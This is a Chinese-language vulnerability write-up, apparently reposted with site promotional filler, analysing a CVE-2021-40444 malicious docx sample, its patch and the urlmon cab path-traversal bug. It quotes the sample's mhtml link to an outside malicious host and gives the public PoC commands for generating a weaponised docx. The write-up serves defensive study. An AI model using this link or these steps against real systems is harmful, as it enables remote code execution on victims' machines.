漏洞深入分析-2021

2023-10-26

前言:

随着cve-2021-40444的披露,随机引爆了全球的网络安全,虽然最近微软发布了补丁,但是cve-2021-40444的利用却越发猖狂。

0x00 0day样本分析

拿到样本的第一时间,便在自己的沙箱环境下面运行了下,并且从网上下载的docx,微软默认会开启保护模式,我这里是本地打开的,基本内容如下,全都是文字内容,基本上没发现什么:

image.png

但是在rels的document.xml文件中发现了链接
Target=”mhtml:http://hidusi.com/e273caf2ca371919/mountain.html!x-usc:http://hidusi.com/e273caf2ca371919/mountain.html

image.png

image.png

【一>所有资源获取<一】
1、200多本网络安全系列电子书(该有的都有了)
2、全套工具包(最全中文版,想用哪个用哪个)
3、100份src源码技术文档(项目学习不停,实践得真知)
4、网络安全基础入门、Linux、web安全、攻防方面的视频(2021最新版)
5、网络安全学习路线(告别不入流的学习)
6、ctf夺旗赛解析(题目解析实战操作)

可以发现其是指向文件的更新链接

image.png

从样本库众获取到mountain.html后,我们打开一看,发现全部都混淆了,基本难辨真假,去混淆也比较简单

因为是js代码,随便找个网上去混淆的试试,比如http://jsnice.org/,将混淆的代码粘贴上去后,一键试下

image.png

基本代码的轮廓就有了,它所有的字符串都会采用数组var a0_0x127f经过function a0_0x15ec进行拼接与置换

image.png

这就很简单了,我通过普通脚本再一次去混淆:

经过简单的静态分析与调试,基本上就是它会去请求服务器获取一个cab文件,并且会通过cpl指令去执行一个inf

然后通过样本库获取到这个cab,初步分析这个cab,发现了其解压路径是../championship.inf,并且标志cafile的大小是0x415c00,cab文件格式[1]对应如下

image.png

image.png

最后将恶意的url改成我们自己搭建的http server,之后成功复现样本攻击环境,并且捕捉到了样本通过rundll32执行了命令

image.png

0x01 cve-2021-40444漏洞的分析与利用

cve-2021-40444的poc很快公开在了github[2]上,poc的使用很简单,通过sudo python3 exploit.py host 80开启简单的http server服务器,python3 exploit.py generate test/calc.dll ip生成包含有漏洞的docx:

image.png

假如我们现在有一个正常的docx,可以通过以下添加稍加修改,就成了可以包含cve-2021-40444漏洞的docx了

image.png

0x02 cve-2021-40444的补丁对比

通过ProcessMonitor监控我们可以获得其创建和读取cab文件的行为,其调用堆栈如下:

image.png

9月14号,微软发布了cve-2021-40444的补丁,经过补丁分析发现,urlmon.dll模块的catDirAndFile对路径验证做了修改,将’/‘替换成了’\‘,防止路径遍历:

image.png

image.png

0x03漏洞调试

调试之前,我们首先了解下微软对cab文件的api

image.png

这些api包括了对cab文件的解析和读写操作等,urlmon模块通过调用cabinet模块中的这些api来处理cab文件的

首先docx触发get请求后会通过mshtml模块来处理,并且对cab文件的处理将会进入urlmon,之后在urlmon!GetSupportedInstallScopesFromFile这个api开始处理cab文件:

image.png

获取到C:\Users\l\AppData\Local\Microsoft\Windows\INetCache\IE\9FFFIV4G\word[1].cab先通过GetExtnAndBaseFileName去判断文件后缀名是不是cab:

image.png

然后通过CreateUniqueCabTempDir创建临时文件夹,比如我这里是C:\Users\l\AppData\Local\Temp\Cab369A,进入api ExtractInfFile后,将会继续调用Extract,在Extract将会第一次调用到FDICreate[3]和FDICopy[4],来获取cab的信息

image.png

FDICreate主要是对其他读写api等进行初始化操作:

image.png

而FDICopy主要就是提取cab文件的信息了

image.png

进入CABINET!FDICopy后将会调用LoginCabinet来提取cab的0x24大小的head信息,比如包括对头部MSCF标志的判断:

之后将会进入CABINET!LoginCabinet、CABINET!FDICallEnumerate分别对应信息FNFDINOTIFY的fdintCABINET_INFO、fdintENUMERATE,再一次进入urlmon!fdiNotifyExtract后获取CFFILE file的信息,而对应的标志是0x02:

image.png

获取到初始化结构体后将会在urlmon!ExtractInfFile调用urlmon!ExtractOneFile

image.png

而在urlmon!ExtractOneFile中将会给(a4+0x202)赋值结构体lpsz,将会确保在调用urlmon!NeedFile成功返回:

image.png

之后将会继续以标志fdintCOPY_FILE(0x02)继续调用urlmon!fdiNotifyExtract,继续调用urlmon!catDirAndFile继续路径字符串格式化,而我们传入的inf路径是C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf

image.png

最后退出urlmon!catDirAndFile将会在urlmon!fdiNotifyExtract中调用Win32Open:

image.png

而在Win32Open中将会调用CreateFileA,以路径C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf创建文件msword.inf,因为路径存在目录遍历问题,所有将会在C:\Users\l\AppData\Local\Temp\msword.inf创建文件:

image.png

成功创建msword.inf文件后将会继续成功调用CABINET!FDIGetFile,在CABINET!FDIGetFile中将会以第一个CFDATA data大小数据写入到文件中,之后caFile(实际为解压文件大小)将会减去写入的CFDATA data大小,接着进行比较直到将所有的caFile大小写入,而这里我们的caFile大小是0x415c0000,远远大于实际的CFDATA的总大小,所以将会在调用最后一次CABINET!FDIGetDataBlock获取块的时候失败并退出:

image.png

虽然退出了,但不影响实际写入文件的数据,并且因为这个失败将不会在urlmon!DeleteExtractedFiles调用DeleteFileA,因为v2[2]的标志未清0,所以不会删除临时文件,从而我们创建的msword.inf得以保存,并且在后续中可以直接以cpl命令运行C:\Users\l\AppData\Local\Temp\msword.inf

image.png

而正常的提取cab文件将会以标志fdintCLOSE_FILE_INFO(0x03)进入,调用urlmon!MarkExtracted,将标志清0:

image.png

至此,从获取到cab文件到提取解析,并且触发目录遍历漏洞过程分析完毕。

有大佬公布以最简洁的方式触发了[5]这个漏洞,并且可以在ie中复现成功。

0x04 漏洞防范

对网上来路不明的docx,请不要随意点击,更新最新的微软补丁

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

漏洞深入分析-2021 的相关文章

随机推荐

  • webpack4 之 splitChunks

    webpack4 之 splitChunks 简介 主要作用是提取公共代码 防止代码被重复打包 拆分过大的js文件 合并零散的js文件 SplitChunks 插件的作用就是通过配置让 Webpack 去帮你提取公共代码 chunks we
  • Js的基础

    js的语法结构 1 js是区分大小写的 var username 张三 var userName 李四 document write username document write userName 2 js的标识符和命名规则 标识符 用来
  • 【hello Linux】线程概念

    目录 1 线程概念的铺设 2 Linux线程概念 2 1 什么是线程 2 2 线程的优点 2 3 线程的缺点 2 4 线程异常 2 5 线程用途 3 Linux进程VS线程 4 Linux线程控制 4 1 POSIX线程库 4 2 创建线程
  • react-router-dom文档

    前言 本来体验下react router的 然后 去react router npm查看 发现了官方的提示如下 这个包为 React Router 提供了核心路由功能 但你可能不想直接安装它 如果您正在编写将在浏览器中运行的应用程序 您应该
  • 四个步骤,教你打造自媒体爆款标题。

    做自媒体的心里应该都会明白一篇文章或者是一个视频中标题的重要性 当然取一个好的标题也是有点难度的 但是不必担心 也会有一定的取标题的技巧 下面小编就跟大家讲讲一些取标题的建议 1 内容拟定好标题 在创作标题的时候还是要以文章的具体内容进行创
  • Android之登录注册——简易版

    今天 我要分享给大家的是Android中常见的一个的登录注册的案例 我这里写的是简易版 如果大家有更精彩的拓展 可以自行发挥哦 运行过程相信大家都已经心知肚明了 所以我在这里就直接发布代码了 其中有不理解的地方大家可以自行百度 也可以互相学
  • Unity 按钮点击生成物体

    1 生成button 2 新建脚本ButtonListener using System Collections using System Collections Generic using UnityEngine using UnityE
  • java运行错误排查汇总

    Jetty排错信息1 Failed startup of context o e j w WebAppContext java lang IllegalStateException Duplicate fragment name 原因及解决
  • Linux -- 构建KVM虚拟化环境

    硬件系统的配置 硬件和BIOS中虚拟化技术的支持是KVM运行的先决条件 在x86 64架构的处理器中 KVM必需的硬件虚拟化扩展分别为 Intel的虚拟化技术 Intel VT 和AMD的AMD V技术 一般在BIOS中 VT的选项通过 A
  • Github + Hexo 搭建个人博客

    文章目录 Github Hexo 搭建个人博客 快速搭建 安装Node js 添加国内镜像源 安装 Git 注册 Github 安装Hexo 连接Github与本地 写文章 发布文章 图片添加水印 修改样式 文章基本操作 发表文章 修改文章
  • matlab 三法求矩阵权重(算数平均法求权重,几何平均法求权重,特征值法求权重)

    三法求矩阵权重 例子为3 3的矩阵 可根据需要修改 算数平均法求权重 clc clear judge 1 6 9 7 8 9 6 1 9 7 8 7 7 9 1 w zeros 3 3 for i 1 3 for j 1 3 w i j j
  • C 结构体字节对齐规则

    参考 https blog csdn net xiaoxiangyuhai article details 79192781
  • mysql数据库加密密码如何解密_MySQL加密和解密实例详解

    MySQL加密和解密实例详解 数据加密 解密在安全领域非常重要 对程序员而言 在数据库中以密文方式存储用户密码对入侵者剽窃用户隐私意义重大 有多种前端加密算法可用于数据加密 解密 下面我向您推荐一种简单的数据库级别的数据加密 解密解决方案
  • merge与update区别---->你一定要看!

    merge与update区别 注 就因为这2个方法的区别还得我花了太多时间项目迟迟不能做完 但是让我解决了 学到了东西了 这是一段代码 public void updateData Object obj try tx this getSes
  • Mysql的七种join

    对于SQL的Join 在学习起来可能是比较乱的 我们知道 SQL的Join语法有很多inner的 有outer的 有left的 有时候 对于Select出来的结果集是什么样子有点不是很清楚 Coding Horror上有一篇文章 实在不清楚
  • C++技能系列 ( 5 ) - 详解函数入参/返回参使用(值传递/引用传递/指针传递/智能指针传递)

    系列文章目录 C 技能系列 Linux通信架构系列 C 高性能优化编程系列 深入理解软件架构设计系列 高级C 并发线程编程 期待动动小手 点击关注哦 当你休息的时候 一定要想到别人还在奔跑 When you rest we must thi
  • C++学习(六十九)国产先看GPU

    在CPU处理器领域 国产已经涉足了ARM MIPS甚至X86等多种指令集架构 不论自研还是授权都已经有所成就 但在GPU领域 国内厂商面对AMD NVIDIA两座大山恐怕连影都追不上 GPU市场的门槛太高 所以国内搞GPU自主研发的公司也有
  • Spring boot升级为Spring cloud配置修改(服务注册和服务发现简单案例)

    一 Spring Boot 升级Spring Cloud 1 导入Spring Cloud相关jar包 修改pom xml文件 备注 可能不同的Spring Boot版本会对应不同的Spring Cloud版本号 以下配置的Spring B
  • Android学习笔记——列表和适配器

    文章目录 一 ArrayAdapter适配器 二 下拉列表 Spinner 三 XML文件的引用 四 列表视图 listview 五 网格视图 GridView 六 自定义适配器 总结 一 ArrayAdapter适配器 适配器的角色就是将
  • 漏洞深入分析-2021

    前言 随着cve 2021 40444的披露 随机引爆了全球的网络安全 虽然最近微软发布了补丁 但是cve 2021 40444的利用却越发猖狂 0x00 0day样本分析 拿到样本的第一时间 便在自己的沙箱环境下面运行了下 并且从网上下载